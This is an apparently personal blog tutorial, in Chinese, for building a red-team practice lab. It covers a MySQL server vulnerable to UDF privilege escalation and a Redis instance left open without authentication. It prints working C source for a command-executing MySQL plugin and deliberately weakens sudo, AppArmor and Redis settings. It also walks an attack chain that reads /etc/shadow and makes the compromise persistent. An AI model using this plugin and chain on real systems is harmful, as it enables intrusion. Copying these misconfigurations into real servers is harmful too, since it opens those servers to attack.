前言
核心数据区的搭建是重中之重,这里不仅是数据的终点,也是红队进行UDF提权和Redis未授权访问演练的关键靶点,但由于要求环境纯净且包含特定漏洞版本,我们在搭建时强烈建议使用 Docker 进行部署,这样既能隔离环境,又能快速重置。
准备宿主机与网络
创建虚拟机:在 PVE 中新建一台 Ubuntu Server 22.04 虚拟机。
网络设置:添加一张网卡,桥接选择
vmbr4(VLAN 40)。系统配置:安装好系统后,配置静态 IP。
配置静态 IP (Ubuntu Netplan)
我们需要静态IP文件 /etc/netplan/文件名:
1network:
2 version: 2
3 renderer: networkd
4 ethernets:
5 ens18: # 根据你的实际网卡名修改
6 dhcp4: no
7 addresses:
8 - ip # 宿主机IP,方便管理
9 routes:
10 - to: default
11 via: 网关ip # 指向pfSense的VLAN40网关IP
12 nameservers:
13 addresses: [10.0.4.1, 223.5.5.5] # DNS指向网关或公网DNS安装 Docker
# 1 下载
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
# 2 开机自启
sudo systemctl enable docker
# 3 启动
sudo systemctl start docker第一步:装 MySQL
1# 1. 更新软件源 + 安装 MySQL 服务器和客户端
sudo apt update
sudo apt install mysql-server mysql-client -y
# 2. 启动 MySQL,并设置开机自启
sudo systemctl start mysql
sudo systemctl enable mysql
# 3.【重点】看一眼 MySQL 现在是用哪个用户在跑
ps aux | grep mysqld | grep -v grep 看最后一行最左边那一列:现在应该显示 mysql(普通用户)。记住这个,等下我们要把它改成 root。
第二步:进数据库,摸清几个关键信息
这一步是整个 MySQL UDF 提权攻击 的“侦察”阶段。
在红蓝对抗或渗透测试中,你不能盲目攻击,必须通过这几条命令确认“路通不通”。
以下是这 4 条命令的具体战术意图:
1. SELECT VERSION(); —— 确认武器库
目的:确认 MySQL 的具体版本(例如是 5.7 还是 8.0)。
原因:UDF 提权依赖动态链接库(
.so文件)。不同版本的 MySQL,其内部函数结构不同,对应的.so文件也是不通用的。如果是 5.x 版本,通常使用
lib_mysqludf_sys.so。如果是 8.0+ 版本,由于安全机制升级,老式的 UDF 提权往往失效,需要换用其他手法。
因为靶场清单里写的是 5.7.x,所以这一步是为了确保我们编译或下载的 exp 文件版本匹配。
2. SHOW VARIABLES LIKE 'plugin_dir'; —— 寻找“弹药库”入口
目的:找到 MySQL 存放插件的绝对路径。
原因:这是 UDF 提权的核心,DF 提权的原理就是把一个恶意的
.so文件上传到服务器,然后告诉 MySQL:“嘿,加载这个插件”。MySQL 强制要求这个文件必须放在
plugin_dir指定的目录下。如果不知道这个路径,我们就不知道把木马传到哪里去。
通常路径是
/usr/lib/mysql/plugin/,但为了严谨,必须查一下。
3. SHOW VARIABLES LIKE 'secure_file_priv'; —— 检查“安检门”
目的:查看 MySQL 是否限制了文件的导入和导出。
原因:这是 UDF 提权最大的拦路虎。
如果是 NULL:表示禁止导入导出,UDF 提权直接失败(除非我们有更高权限去改配置)。
如果是空值 (Empty):表示没有限制,我们可以把
.so文件写入到任何有权限的目录(包括上面的plugin_dir)。如果是具体路径:表示只能往那个特定文件夹写东西。
在靶场环境中,我们通常希望这里是空的,或者至少包含
plugin_dir的路径,否则后续的INTO DUMPFILE语句会报错。
4. SELECT USER(), CURRENT_USER(); —— 确认“身份权限”
目的:确认你当前登录的账号是谁,以及拥有的权限级别。
原因:
UDF 提权通常需要 ROOT 权限(或者拥有
FILE、INSERT权限的高权账号)。如果你登录进去发现只是一个普通的
www-data或者低权用户,那你连创建自定义函数的资格都没有,后续操作全是白费力气。USER()显示你尝试登录的用户,CURRENT_USER()显示数据库实际认证的用户,两者对比可以看出是否存在匿名账户登录等特殊情况。
5.实操步骤
# 用 root 身份登录 MySQL(Ubuntu 默认这样就能进,不用密码)
sudo mysql进去后你会看到 mysql> 提示符,依次敲这 4 条(每条结尾有分号,敲完回车):
-- 看 MySQL 版本
SELECT VERSION();
-- 看插件该放哪个文件夹(记下来!)
SHOW VARIABLES LIKE 'plugin_dir';
-- 看文件导出限制
SHOW VARIABLES LIKE 'secure_file_priv';
-- 看当前是谁
SELECT USER(), CURRENT_USER(); 总结
做这一步就是为了回答三个问题:
我有权限吗? (User check)
我能把文件传进去吗? (secure_file_priv check)
我要把文件传到哪里? (plugin_dir check)
确认这三点无误后,你才能进行下一步:编译/上传恶意 .so 文件并创建函数
第三步:编译 UDF 提权插件(核心)
在渗透测试中,我们常说的 UDF 提权,本质上就是利用 MySQL 数据库的功能,去执行操作系统的命令。
为什么要编译这个 .so 文件?
MySQL 本身不懂系统命令
MySQL 是一个数据库软件,它只懂 SQL 语言(增删改查),它默认是没有system()或exec()这种功能的,所以我们不能直接在 SQL 里输入SELECT system('whoami'),因为它不认识这个函数。UDF 是 MySQL 的“扩展接口”
UDF 的全称是 User Defined Function(用户自定义函数),MySQL 允许开发者编写 C/C++ 代码,编译成动态链接库(在 Linux 下就是.so文件),然后加载进数据库里。正常用途:程序员用它来写一些复杂的数学计算或字符串处理函数。
黑客用途:我们在 C 代码里调用 Linux 的系统函数(如
system()、popen()),把这个能力“注入”到 MySQL 里。
代码里的两个核心函数
你贴出的这段 C 代码,实际上定义了两种“武器”:sys_exec:对应代码里的return system(args->args[0]);,它的功能是盲打,执行命令(比如反弹 Shell、创建用户),但不返回结果给你看,只返回成功与否的状态码。sys_eval:对应代码里的popen(...),它的功能是回显——执行命令(比如whoami、id、cat /etc/passwd),并且把命令的执行结果作为字符串返回给 SQL 查询结果。
为什么要自己编译?
环境匹配:虽然网上有现成的
.so文件,但不同版本的 MySQL(5.5, 5.6, 5.7)和不同的操作系统(CentOS, Ubuntu)对库文件的依赖不同,直接拿别人的文件可能会报错(比如Symbol not found)。免杀/定制:自己编译可以确保代码逻辑完全符合当前靶场的环境,而且如果是真实对抗,现成的 Exp 很容易被杀毒软件识别,自己微调编译能提高成功率。
实操步骤
这一步是生成那个"外挂函数"文件 lib_mysqludf_sys.so。
# 1. 回到你的家目录,清掉旧文件(如果有的话)
cd ~
3rm -f udf_sys.c lib_mysqludf_sys.so然后把下面整段复制粘贴进终端,回车(它会创建一个叫 udf_sys.c 的源代码文件):
cat > udf_sys.c << 'EOF'
#define _GNU_SOURCE
#include <mysql.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdbool.h>
typedef bool my_bool;
/* ---------- sys_eval: 执行命令,返回输出 ---------- */
char *sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (!args->args[0]) { *is_null = 1; return NULL; }
FILE *fp = popen(args->args[0], "r");
if (!fp) { *is_null = 1; return NULL; }
char *buf = initid->ptr; /* 用 initid 缓冲区,线程安全 */
size_t len = fread(buf, 1, initid->max_length - 1, fp);
buf[len] = '\0';
pclose(fp);
*is_null = 0;
return buf;
}
my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_eval() needs 1 argument");
return 1;
}
args->arg_type[0] = STRING_RESULT; /* 强制 MySQL 把参数转成字符串 */
initid->maybe_null = 1;
initid->max_length = 65535;
initid->const_item = 0;
if (!(initid->ptr = (char *)malloc(initid->max_length))) {
strcpy(message, "malloc failed");
return 1;
}
return 0;
}
void sys_eval_deinit(UDF_INIT *initid) {
if (initid->ptr) { free(initid->ptr); initid->ptr = NULL; }
}
/* ---------- sys_exec: 执行命令,返回退出码 ---------- */
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->arg_count != 1 || !args->args[0]) return -1;
return system(args->args[0]);
}
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "sys_exec() needs 1 argument");
return 1;
}
args->arg_type[0] = STRING_RESULT;
return 0;
}
void sys_exec_deinit(UDF_INIT *initid) {}
EOF接着编译它:
# 2. 确认文件创建好了(能看到 #define _GNU_SOURCE 就对了)
head -8 udf_sys.c
# 3.【编译】把源代码变成 .so 插件文件
gcc -fPIC -shared -I/usr/include/mysql -o lib_mysqludf_sys.so udf_sys.c总结
这一步做完,我们就拥有了一个“特洛伊木马”插件,接下来,我们只需要把这个 .so 文件扔进 MySQL 的插件目录(第二步查到的路径),然后在 SQL 里注册一下,我们的 MySQL 就瞬间变成了一个“可以远程执行系统命令的后门”。(这里建议留给红队选手去做,所以红队需要多研究一下【思路混乱可跳看第八】,蓝队我建议配置SUID或者sudo漏洞)
作为蓝队,我们需要手动在靶机上“埋雷”(配置 SUID 或 sudo 漏洞),以 sudo 配置错误 为例(因为 SUID 在 Ubuntu 24.04 上配置稍微麻烦一点,而 sudo 漏洞只需改一行配置)。
蓝队实操指南:如何“埋雷”
第一步:保持 MySQL 默认状态(不要改成 root)
确保你的 MySQL 还是默认的 mysql 用户运行。
bash
ps aux | grep mysqld | grep -v grep
# 第一列输出应该是 mysql第二步:给 mysql 系统用户配置 sudo 漏洞
我们要让 mysql 这个系统用户,能够以 root 权限执行某个无害的命令,这里我们拿 cat 命令开刀。
编辑 sudoers 文件(必须用 visudo,千万别用 nano 直接改,改错会锁死系统):
sudo visudo在文件最末尾,加上这一行:
mysql ALL=(ALL:ALL) NOPASSWD: /usr/bin/cat(解释:允许 mysql 用户,在任何主机上,以任何用户身份,免密码执行 /usr/bin/cat)
保存退出(如果是 vim:按
Esc,输入:wq,回车)。
第三步:验证漏洞是否埋好
在终端里测试一下,能不能用 mysql 身份读到只有 root 能读的文件:
sudo -u mysql sudo cat /etc/shadow成功标志:如果终端打印出了 root:$y$j9T... 这种哈希密码,说明漏洞完美生效!
第四步:把插件放进 MySQL 的插件目录
这一步在整个攻击链条中扮演的是“武器部署与上膛”的关键环节。
如果说第三步编译 .so 文件是“制造弹药”,那么这一步就是把弹药精准地送进枪膛。以下是具体原因解析:
1. 为什么必须放进 plugin_dir?(寻找正确的枪膛)
MySQL 的安全与加载机制:MySQL 在加载外部动态链接库时,强制要求文件必须存放在其官方指定的插件目录(即你在第二步查到的
plugin_dir,通常是/usr/lib/mysql/plugin/)中。防越权限制:如果你把文件放在
/tmp或者其他任意目录下,即使你执行了CREATE FUNCTION语句,MySQL 也会拒绝加载并报错。这是为了防止攻击者随意在系统中植入恶意代码。
2. 为什么要执行 chmod 755?(确保武器能正常击发)
执行权限要求:
.so文件是动态链接库,MySQL 在调用它时,需要对其进行读取和执行操作。避免加载失败:如果文件权限过低(例如只有 644),MySQL 进程(通常以
mysql用户运行)可能没有权限去读取或执行它,导致提权在“临门一脚”时失败。赋予755权限(所有者可读写执行,其他人可读和执行)是保证 MySQL 能够顺利加载该插件的标准做法。
3. 为什么要用 file 命令验证?(验明正身,防止哑弹)
确认文件格式:
file命令用于检查文件的真实类型。看到ELF 64-bit LSB shared object, x86-64,说明这确实是一个 64 位 Linux 系统能识别的动态链接库。防止传输损坏:在复制、传输或编译过程中,文件可能会损坏或变成纯文本。如果文件损坏,MySQL 加载时会报出类似
Can't open shared library的底层错误。提前验证可以节省排错时间。
靶场实战补充提示
在真实的红蓝对抗或渗透测试中,攻击者往往没有这台服务器的 SSH 登录权限,也无法直接使用 sudo cp 命令。
因此,在靶场环境中,除了手动复制,你还需要掌握如何通过 SQL 语句 直接将 .so 文件“隔空”写进这个目录。通常的做法是:
将编译好的
.so文件转换为十六进制字符串(Hex)。在 MySQL 中执行类似
SELECT UNHEX('...') INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';的语句。
# 1. 复制到第二步记下的 plugin_dir(一般是这个路径)
sudo cp ~/lib_mysqludf_sys.so /usr/lib/mysql/plugin/lib_mysqludf_sys.so
# 2. 给它正确的权限
sudo chmod 755 /usr/lib/mysql/plugin/lib_mysqludf_sys.so
# 3. 验证文件没坏(看到 "ELF 64-bit ... x86-64" 就对了)
file /usr/lib/mysql/plugin/lib_mysqludf_sys.so总结:
这一步确保了你的“木马插件”被放在了 MySQL 唯一认可的位置,并且拥有被加载所需的权限。
第五步:在数据库里"注册"这个外挂函数
这一步是整个 UDF 提权攻击链条中“武器上膛并试射”的关键环节。
前面几步我们造好了武器(编译 .so),也把它放进了指定的枪膛(放入 plugin_dir),现在就是要让 MySQL 知道这个武器的存在,并测试它是否好用。
以下是这四个步骤的具体战术意图:
1. 为什么要先执行 DROP FUNCTION IF EXISTS?
清理战场,防止冲突:在渗透测试或靶场复现中,你可能之前尝试过或者别人已经尝试过提权。如果数据库中已经存在同名的函数,再次执行
CREATE FUNCTION就会报错(提示函数已存在)。确保状态干净:先删后建,是自动化脚本和黑客工具中最稳妥的“防呆”设计,确保你接下来创建的函数绝对是你自己刚刚放进去的那个
.so文件。
2. 为什么要执行 CREATE FUNCTION ... SONAME?
告诉 MySQL 去加载武器:仅仅把
.so文件放在目录里是不够的,MySQL 默认不会去扫描并加载所有插件。CREATE FUNCTION就是向 MySQL 注册这个新函数。建立映射关系:这条语句明确告诉 MySQL:“以后我在 SQL 里调用
sys_eval这个函数时,你就去lib_mysqludf_sys.so这个文件里找对应的 C 语言代码并执行它”。
3. 为什么要用 SELECT sys_eval('id') 进行测试?
验证武器是否卡壳:注册成功后,必须立刻测试。如果编译有问题、路径不对、或者权限不足,MySQL 会在这里直接报错。
确认当前运行身份:执行
id命令是为了摸清当前 MySQL 服务是以什么身份在跑。你看到了uid=110(mysql),这说明 MySQL 服务是以普通的mysql用户运行的,而不是root。
核心认知:为什么此时还是 mysql 用户?
你可能会疑惑:既然是提权,为什么 id 出来不是 root?
UDF 的本质是继承权限:UDF 函数是在 MySQL 的进程内部执行的。它继承了谁的身份,取决于 MySQL 服务启动时的身份。
靶场环境差异:在很多真实的 Linux 服务器中,为了安全,MySQL 默认是以
mysql普通用户运行的。如果是这样,UDF 提权只能帮你执行mysql权限下的命令(比如读某些文件、写/tmp目录),无法直接拿到root。真正的提权场景:如果靶场管理员配置失误,或者你在 Windows 环境下(MySQL 经常以
SYSTEM权限运行),你执行id或whoami就会直接看到root或SYSTEM,那就是真正的“一步到位”提权成功。
4. 为什么要套 CAST(... AS CHAR)?
数据类型转换:MySQL 在处理 UDF 返回的二进制数据或特定字符串时,有时会将其作为二进制流(Binary)返回。在命令行客户端中,二进制流会被显示为十六进制编码(如
0x7569643d...)。强制明文显示:使用
CAST(... AS CHAR)强制 MySQL 将结果转换为标准的字符集,这样你就能在终端里直接看到uid=110...这样的明文结果,方便你确认命令是否执行成功。
sudo mysql进去后敲这 4 条:
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_exec;
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';先测试一下(这时还是普通用户):
SELECT CAST(sys_eval('id') AS CHAR);
# 如果数据表出现 NULL 使用下面方案
# 方案 A:临时关闭AppArmor,但重启机器会恢复拦截。
sudo systemctl stop apparmor
sudo systemctl start mysql
# 成功的话,也可以设置开机不启动 AppArmor(靶机最省事)
sudo systemctl disable apparmor
# 方案 B:装工具走 complain(更规范)
sudo apt install -y apparmor-utils
sudo aa-complain /usr/sbin/mysqld
sudo systemctl start apparmor
应该看到 uid=110(mysql) ... —— 说明外挂装好了,能执行命令了,但身份还是 mysql,不是 root。
总结:
这一步完成了从“数据库操作”到“操作系统命令执行”的跨越。虽然当前身份是 mysql,但只要你掌握了命令执行的能力,就可以通过寻找 SUID 程序、内核漏洞或计划任务(Cron)等手段进行下一步的本地提权,最终拿下 Root。
第六步:把 MySQL 改成用 root 运行(提权的最后一步)
这是最关键的一步。必须改两个地方,少改一个都不行——因为 MySQL 有个机制:就算你用 root 启动它,它也会自己偷偷降回普通用户。
# 【改动1】改 MySQL 配置文件,告诉它"别降权,就用 root"
sudo sed -i 's/^user.*=.*mysql/user\t\t= root/' /etc/mysql/mysql.conf.d/mysqld.cnf
# 检查一下改对没(应该显示 user = root)
grep '^user' /etc/mysql/mysql.conf.d/mysqld.cnf简单来说为什么要做这一步:因为 Linux 的安全机制规定,类似户就是"下属"不能比"上司"的权限大。
通俗的类比来解释:
1. 核心原理:进程是谁开的,权限就是谁的
MySQL 服务(mysqld) 本质上就是一个在后台运行的程序(进程)。
当你在 SQL 里执行
sys_eval('id')时,MySQL 程序会调用系统的popen或system函数去执行这个命令。关键点来了:MySQL 程序执行命令时,是代表它自己去执行的。
如果 MySQL 是以
mysql用户身份运行的,它调用的命令也就是mysql用户的权限。如果 MySQL 是以
root身份运行的,它调用的命令就是root权限。
2. 为什么要改配置?(安全机制)
你可能会问:"我登录数据库用的是 root 账号(SQL 里的 root),为什么不行?"
SQL 的 root 不等于 系统的 root:数据库里的 root 只是管理数据的最高权限,它管不了操作系统。
默认的安全策略:Ubuntu/Debian 安装 MySQL 时,为了防止数据库被黑客攻破后直接控制整台服务器,特意配置了让 mysqld 进程以低权限的
mysql用户运行。现状:即使黑客攻破了数据库,拿到了 SQL root 权限,利用 UDF 执行命令时,也只是一个普通的
mysql用户,没法修改系统核心文件(比如/etc/shadow),也没法安装后门。我们的操作:我们在第六步修改配置文件(
mysqld.cnf和systemd),其实就是人为地解除了这个安全限制,强制让 MySQL 以最高权限运行。
# 【改动2】改系统启动配置,让 MySQL 以 root 身份启动
sudo mkdir -p /etc/systemd/system/mysql.service.d
printf '[Service]\nUser=root\n' | sudo tee /etc/systemd/system/mysql.service.d/override.conf
# 让改动生效 + 重启 MySQL
sudo systemctl daemon-reload
sudo systemctl restart mysql
# 【验证】看第一列是不是变成 root 了
ps aux | grep mysqld | grep -v grep怎么算成功:最后一行最左边那一列从 mysql 变成了 root。
第七步:收网,见证 root
sudo mysqlSELECT CAST(sys_eval('id') AS CHAR);
SELECT CAST(sys_eval('whoami') AS CHAR);最终成功标志:
uid=0(root) gid=0(root) groups=0(root)
root看到 uid=0(root) 和 root —— 恭喜,UDF 提权闭环完成! 我们现在通过一条 SQL 语句,就以系统最高权限执行命令了。
第八:红队视角衔接第三步
这里衔接第三步:背景:你拿到了一个 MySQL 的 root 账号密码,请尝试通过数据库,最终读取 /etc/shadow 文件内容。
红队操作流:
1. 登录数据库,安装 UDF 插件
-- 登录数据库
mysql -u root -p -h 目标IP
-- 查看插件目录
5SHOW VARIABLES LIKE 'plugin_dir';
-- 假设输出是 /usr/lib/mysql/plugin/
-- 上传/写入 lib_mysqludf_sys.so 到该目录(略)
-- 注册函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';2. 发现当前是低权限
SELECT CAST(sys_eval('id') AS CHAR);
-- 输出: uid=110(mysql) gid=110(mysql)
-- 红队意识到:直接改系统文件不行,必须寻找提权点。3. 侦察 sudo 漏洞
-- 检查当前用户有没有 sudo 权限
SELECT CAST(sys_eval('sudo -l') AS CHAR);红队看到输出:
Matching Defaults entries for mysql on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User mysql may run the following commands on this host:
(ALL:ALL) NOPASSWD: /usr/bin/cat(红队需要发现可以免密 sudo cat!)
4. 利用漏洞,完成提权
-- 既然能 sudo cat,那直接读最高机密
2SELECT CAST(sys_eval('sudo cat /etc/shadow') AS CHAR);红队看到:root:$y$j9T...,提权成功!
进阶玩法:如果红队想“持久化”(彻底接管 MySQL)
在上面的第 4 步之后,红队已经拿到了系统 root 权限。此时红队可以通过 UDF 执行以下命令,把 MySQL 彻底变成 root 运行,实现“持久化后门”:
-- 1. 修改 MySQL 配置文件
SELECT sys_exec('sed -i "s/^user.*=.*mysql/user\t\t= root/" /etc/mysql/mysql.conf.d/mysqld.cnf');
-- 2. 修改 systemd 配置
SELECT sys_exec('mkdir -p /etc/systemd/system/mysql.service.d');
SELECT sys_exec('echo -e "[Service]\nUser=root" > /etc/systemd/system/mysql.service.d/override.conf');
-- 3. 重启 MySQL 服务
SELECT sys_exec('systemctl daemon-reload && systemctl restart mysql');执行完这三步后,红队再次执行 SELECT CAST(sys_eval('id') AS CHAR);,就会发现以后不用 sudo,直接就是 root 了。
总结
这个方案的精髓在于:UDF 只是敲门砖,真正的提权靠的是 Linux 系统的配置失误。
作为蓝队,我们只需要执行第二步(visudo 加一行),就能给红队创造出一个极其精彩的实战演练环境!
一张图看懂全流程
装 MySQL (mysqld 以 mysql 用户跑)
↓
编译 UDF 插件 → 放进 plugin_dir → 在数据库注册 sys_eval
↓
测试: sys_eval('id') → uid=110(mysql) 能执行命令,但还不是root
↓
改两处配置(mysqld.cnf + systemd) → 重启 → mysqld 以 root 跑
↓
sys_eval('id') → uid=0(root) 提权成功!常见问题速查
搭建 Redis 4.0 (未授权访问)
第一步:PVE 虚拟机配置
新建虚拟机:在 PVE 中创建一台新的 Ubuntu Server 虚拟机。
网络设置(关键):
网卡:添加一块网卡,桥接至
vmbr4(对应 VLAN 40)。IP配置:进入系统后,配置静态 IP:
IP地址:
10.0.4.40子网掩码:
255.255.255.0(/24)网关:指向核心数据区的网关(通常是 pfSense 上对应 VLAN 40 接口的 IP)。
第二步:安装 Redis
登录到这台 Reids 的Ubuntu 终端,执行安装命令:
sudo apt update
sudo apt install -y redis-server redis-tools第三步:修改配置文件
这一步是整个 Redis 漏洞利用的“开门”与“卸下护城河”环节。
在红蓝对抗靶场中,我们之所以需要修改这四个配置,是因为 Redis 官方为了兼顾“易用性”和“安全性”,在默认配置中设置了一系列防线,为了模拟真实环境中管理员的疏忽,我们必须把这些防线拆除。
以下是这四个配置修改的深层原因:
1. 为什么要改 bind 0.0.0.0?(打开大门)
默认防御:Redis 默认配置是
bind 127.0.0.1,这意味着它只允许本机(Localhost)访问。靶场需求:攻击者(红队)在 DMZ 区或其他网段,需要通过内网 IP(
10.0.4.40)远程连接这台 Redis,如果不改成0.0.0.0(或者具体的内网 IP),外部网络请求在 TCP 层就会被直接拒绝。
2. 为什么要改 protected-mode no?(拆除护城河)
默认防御:这是 Redis 3.2 之后引入的安全机制,当 Redis 发现没有设置密码(
requirepass为空),且绑定了0.0.0.0时,保护模式会自动开启,此时,虽然端口对外开放,但 Redis 会拒绝所有外部 IP 的读写请求,只允许本地访问。靶场需求:因为我们故意没有设置密码,一旦打开了
bind 0.0.0.0,保护模式就会立刻生效并拦截红队,只有显式地将其改为no,Redis 才会真正对公网/内网的无密码请求敞开怀抱。
3. 为什么要改 daemonize yes?(确保服务存活)
默认防御:默认是
no,即前台运行。靶场需求:这纯粹是为了运维稳定性。如果在前台运行,当我们关闭 SSH 终端窗口时,Redis 进程也会随之被杀掉。改为
yes后,Redis 会变成守护进程(后台运行),保证靶场环境随时可用。
4. 为什么要注释 requirepass?(卸下门锁)
默认防御:生产环境中,管理员必须在这里设置强密码,客户端连接时必须
AUTH认证。靶场需求:未授权访问漏洞的核心触发条件就是“无密码认证”。只有确保这一行被注释掉,红队才能使用
redis-cli -h 10.0.4.40直接连入,而无需猜测或爆破密码。
所以为了符合拓扑图中“未授权访问”的设定,我们需要“故意”把安全配置关掉。编辑配置文件:
sudo nano /etc/redis/redis.conf请找到并修改以下四项(这是红队能利用的关键点):
允许任意 IP 连接:
找到bind 127.0.0.1 ::1,将其注释掉或改为:
bind 0.0.0.0(解释:允许从 DMZ 区或其他网段直接连接 )
关闭保护模式:
找到protected-mode yes,改为:
protected-mode no(解释:如果不关这个,外部连接时即使没密码也会被拒绝)
后台运行:
找到daemonize no,改为:
daemonize yes关闭密码验证:
确保requirepass这一行被注释掉(前面加#),或者留空。
(解释:实现真正的“未授权访问”)
保存并退出 (Ctrl+O, Enter, Ctrl+X)。
核心检查点:你之前修改的 bind 0.0.0.0 和 protected-mode no 才是让外部能连进来的关键。只要这两项改好了,且没有设置 requirepass,红队就可以直接通过 redis-cli -h ip 连进来,无需任何密码
核心总结
这四个步骤环环相扣:
注释密码 + 开放绑定 = 触发了 保护模式 -> 关闭保护模式 = 漏洞彻底暴露。
在真实的生产环境中,这种配置等同于“裸奔”,攻击者一旦扫描到 6379 端口,就可以直接利用 Redis 的 CONFIG SET 和 SAVE 命令,向服务器写入 SSH 公钥、反弹 Shell 计划任务或 WebShell,瞬间接管服务器。
第四步:重启服务并验证
# 重启 Redis 使配置生效
sudo systemctl restart redis-server
# 验证端口是否在监听
ss -tlnp | grep 6379我们应该能看到 0.0.0.0:6379,说明配置成功。

第五步:测试连通性
你可以尝试从同一 VLAN 下的 MySQL 机器,或者如果防火墙允许的话,从 DMZ 区发起连接测试:
redis-cli -h ip ping如果返回 PONG,说明这台作为靶子的 Redis 已经就绪了!
搭配防火墙配置点击:https://blog.mario123.top/archives/pfsense
免责声明
本博客内容仅供技术交流与安全研究,严禁用于非法用途,未经授权测试他人系统属违法行为,后果自负。